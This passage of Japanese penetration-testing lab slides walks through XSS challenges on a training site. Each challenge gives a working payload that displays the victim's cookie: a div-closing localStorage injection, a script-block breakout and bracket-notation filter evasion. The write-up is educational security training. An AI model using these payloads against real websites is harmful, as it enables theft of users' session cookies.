Key=info の値が null だったら、ハッシュフラグメントを info に設定

Key=info の値を msg に設定Key=info の値が null でなかったら、

Key=info に攻撃スクリプトを設定する方向性。

Page 77: Web applicationpenetrationtest その5

77 /84

マッピング: Mapping 発見: DiscoverylocalStrage に div タグを終端する攻撃スクリプトを注入する。

解き方

このような攻撃スクリプトが考えられる。攻撃スクリプトの一例</div><input onmouseout=alert(document.cookie)><div>

IE の場合、 F12 開発者ツールを使い、コンソールから localStrage を書き換える。

Page 78: Web applicationpenetrationtest その5

78 /84成功!

前スライドの攻撃スクリプトを注入するとテキストボックスが表示される。テキストボックスからマウスを離した時にポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。

パケットの cookie

XSS で表示した cookie

Page 79: Web applicationpenetrationtest その5

79 /84

Challenge 35: XSS 16http://pentesteracademylab.appspot.com/lab/webapp/xss/18

目的◦ XSS を使い、 alert で Cookie を表示する。

問題 16

テキストボックスに入力してFetchボタンを押すと、何かを検索するっぽい。

Page 80: Web applicationpenetrationtest その5

80 /84

情報収集: Reconnaissanceソースを見ると、入力されたテキストを代入している。

解き方

入力された文字を代入している。ここに攻撃スクリプトを注入する。

試したところ「 " 」がエスケープされる。script ブロックを終了し、新規スクリプトブロックを開始する( Escaping JavaScript escape というテク)。このような攻撃スクリプトが考えられる。攻撃スクリプトの一例</script><script>alert(document.cookie);</script>

(参考) XSS Filter Evasion Cheat Sheet / Escaping JavaScript escapeshttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

Page 81: Web applicationpenetrationtest その5

81 /84成功!

前スライドの攻撃スクリプトを入力するとポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。

パケットの cookie

XSS で表示した cookie

Page 82: Web applicationpenetrationtest その5

82 /84

Challenge 36: XSS 16http://pentesteracademylab.appspot.com/lab/webapp/xss/18

目的◦ XSS を使い、 alert で Cookie を表示する。

問題 17

テキストボックスに入力してRenderボタンを押す。特に何も変わらない。

Page 83: Web applicationpenetrationtest その5

83 /84

情報収集: Reconnaissanceソースを見ると、入力されたテキストから「 . 」を除去して表示している。

解き方

「 . 」ドット演算子を使わずに、ブラケット演算子「 [ 」、「 ] 」で cookie変数を参照する。このような攻撃スクリプトが考えられる。攻撃スクリプトの一例<script>alert(document['cookie']);</script>

・入力<script>alert(document.cookie)</script>・ソース

Page 84: Web applicationpenetrationtest その5

84 /84成功!

前スライドの攻撃スクリプトを入力するとポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。

パケットの cookie

XSS で表示した cookie